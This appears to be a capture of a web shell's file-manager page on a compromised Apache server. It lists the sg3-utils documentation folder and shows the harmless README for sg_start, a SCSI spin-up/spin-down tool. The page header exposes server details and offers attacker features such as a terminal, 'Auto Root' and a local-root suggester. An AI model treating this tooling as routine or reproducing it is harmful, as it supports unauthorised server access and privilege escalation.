Linux tsuru-no-tsurugi 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
Apache/2.4.52 (Ubuntu)
Server IP : 192.168.0.18 & Your IP : 216.73.216.68
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
sg3-utils /
Delete
Unzip
Name
Size
Permission
Date
Action
examples
[ DIR ]
drwxr-xr-x
2024-02-17 03:48
AUTHORS
114
B
-rw-r--r--
2007-07-14 09:42
COVERAGE.gz
2.56
KB
-rw-r--r--
2021-02-01 08:48
CREDITS.gz
2.73
KB
-rw-r--r--
2020-01-25 21:58
README.freebsd.gz
2.2
KB
-rw-r--r--
2021-03-28 09:58
README.gz
10.92
KB
-rw-r--r--
2020-06-06 01:19
README.iscsi
1.27
KB
-rw-r--r--
2011-12-17 11:11
README.sg_start
1.2
KB
-rw-r--r--
2020-07-17 12:50
README.solaris.gz
2.52
KB
-rw-r--r--
2020-06-06 01:19
README.tru64
2.77
KB
-rw-r--r--
2013-01-18 09:51
README.win32.gz
4.15
KB
-rw-r--r--
2020-06-06 01:19
changelog.Debian.gz
1.56
KB
-rw-r--r--
2023-03-22 23:57
copyright
2.74
KB
-rw-r--r--
2023-03-22 23:57
Save
Rename
Hi, you can use sg_start to start (spin-up, 1) and stop (spin-down, 0) devices. I also offers a parameter (-s) to send a synchronize cache command to a device, so it should write back its internal buffers to the medium. Be aware that the Linux SCSI subsystem at this time does not automatically starts stopped devices, so stopping a device which is in use may have fatal results for you. So, you should apply with care. I use it in my shutdown script at the end (before the poweroff command): # SG_SHUG_NOS is set in my config file rc.config # SG_SHUT_NOS="0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15" if test -x /bin/sg_start; then if test "`basename $command`" = "reboot"; then for no in $SG_SHUT_NOS; do /bin/sg_start /dev/sg$no -s >/dev/null 2>&1; done else for no in $SG_SHUT_NOS; do /bin/sg_start /dev/sg$no -s 0 >/dev/null 2>&1; done fi fi Enjoy! Kurt Garloff <garloff at suse dot de> Postscript ========== sg_start has been reworked to allow a block device (e.g. /dev/sda) in addition to the sg device name (e.g. /dev/sg0) in the lk 2.6 series. sg_start now has more command line options, see its man page. Douglas Gilbert <dgilbert at interlog dot com> 2004/5/8